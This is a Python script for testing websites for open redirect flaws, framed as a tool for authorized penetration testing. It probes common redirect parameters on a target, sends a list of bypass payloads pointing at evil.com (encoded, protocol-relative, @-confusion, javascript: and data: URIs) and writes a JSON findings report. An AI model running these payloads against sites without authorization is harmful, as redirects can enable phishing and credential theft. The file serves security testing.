Testing For Open Redirect Vulnerabilities

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#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing open redirect vulnerabilities.

Tests URL redirection parameters for open redirect flaws using
bypass techniques including URL encoding, protocol-relative URLs,
domain confusion, and parameter pollution.
"""

import json
import sys
from pathlib import Path
from datetime import datetime
from urllib.parse import urlparse, quote

try:
    import requests
except ImportError:
    requests = None


REDIRECT_PARAMS = [
    "url", "redirect", "redirect_uri", "redirect_url", "next",
    "return", "returnTo", "return_to", "goto", "target", "dest",
    "destination", "rurl", "continue", "forward", "out", "view",
    "ref", "callback", "redir", "login_url", "logout",
]

BYPASS_PAYLOADS = [
    "https://evil.com",
    "//evil.com",
    "/\\evil.com",
    "https://evil.com%2f%2f",
    "https://target.com@evil.com",
    "https://target.com.evil.com",
    "https://evil.com#target.com",
    "https://evil.com?.target.com",
    "https://evil.com/target.com",
    "https://evil%2Ecom",
    "//evil.com/%2f%2e%2e",
    "/%0d/evil.com",
    "https:evil.com",
    "javascript:alert(1)",
    "data:text/html,<h1>redirect</h1>",
]


class OpenRedirectTestAgent:
    """Tests for open redirect vulnerabilities."""

    def __init__(self, target_url, output_dir="./open_redirect_test"):
        self.target_url = target_url.rstrip("/")
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)
        self.findings = []

    def _get(self, url, allow_redirects=False, timeout=10):
        if not requests:
            return None
        try:
            return requests.get(url, allow_redirects=allow_redirects, timeout=timeout)
        except requests.RequestException:
            return None

    def discover_redirect_params(self, paths=None):
        """Discover which URL parameters trigger redirects."""
        test_paths = paths or ["/login", "/logout", "/auth/callback", "/redirect", "/"]
        found = []
        for path in test_paths:
            for param in REDIRECT_PARAMS:
                test_url = f"{self.target_url}{path}?{param}=https://example.com"
                resp = self._get(test_url)
                if resp and resp.status_code in (301, 302, 303, 307, 308):
                    location = resp.headers.get("Location", "")
                    if "example.com" in location:
                        found.append({"path": path, "param": param, "location": location})
        return found

    def test_redirect_bypass(self, path, param):
        """Test a redirect parameter with bypass payloads."""
        results = []
        for payload in BYPASS_PAYLOADS:
            test_url = f"{self.target_url}{path}?{param}={quote(payload, safe='')}"
            resp = self._get(test_url)
            if not resp:
                continue

            location = resp.headers.get("Location", "")
            redirected = False
            if resp.status_code in (301, 302, 303, 307, 308):
                parsed = urlparse(location)
                if parsed.netloc and parsed.netloc != urlparse(self.target_url).netloc:
                    if "evil.com" in parsed.netloc or "evil" in location:
                        redirected = True

            if redirected:
                results.append({
                    "payload": payload,
                    "status": resp.status_code,
                    "location": location,
                    "bypassed": True,
                })
                self.findings.append({
                    "severity": "medium",
                    "type": "Open Redirect",
                    "detail": f"{path}?{param}={payload} redirects to {location}",
                })
        return results

    def test_all_endpoints(self, redirect_points=None):
        """Test all discovered redirect endpoints."""
        points = redirect_points or self.discover_redirect_params()
        all_results = []
        for point in points:
            results = self.test_redirect_bypass(point["path"], point["param"])
            all_results.extend(results)
        return all_results

    def test_javascript_redirect(self, path="/", param="url"):
        """Check for JavaScript-based redirects using meta refresh or JS."""
        test_url = f"{self.target_url}{path}?{param}=https://evil.com"
        resp = self._get(test_url, allow_redirects=True)
        if resp and "evil.com" in resp.text:
            js_patterns = ["window.location", "document.location", "meta http-equiv"]
            for pattern in js_patterns:
                if pattern in resp.text:
                    self.findings.append({
                        "severity": "medium",
                        "type": "JavaScript Redirect",
                        "detail": f"Client-side redirect via {pattern}",
                    })
                    return {"pattern": pattern, "found": True}
        return {"found": False}

    def generate_report(self):
        redirect_points = self.discover_redirect_params()
        bypass_results = self.test_all_endpoints(redirect_points)

        report = {
            "report_date": datetime.utcnow().isoformat(),
            "target": self.target_url,
            "redirect_parameters_found": len(redirect_points),
            "redirect_points": redirect_points,
            "bypass_results": bypass_results,
            "findings": self.findings,
            "total_findings": len(self.findings),
        }
        out = self.output_dir / "open_redirect_report.json"
        with open(out, "w") as f:
            json.dump(report, f, indent=2)
        print(json.dumps(report, indent=2))
        return report


def main():
    if len(sys.argv) < 2:
        print("Usage: agent.py <target_url>")
        sys.exit(1)
    agent = OpenRedirectTestAgent(sys.argv[1])
    agent.generate_report()


if __name__ == "__main__":
    main()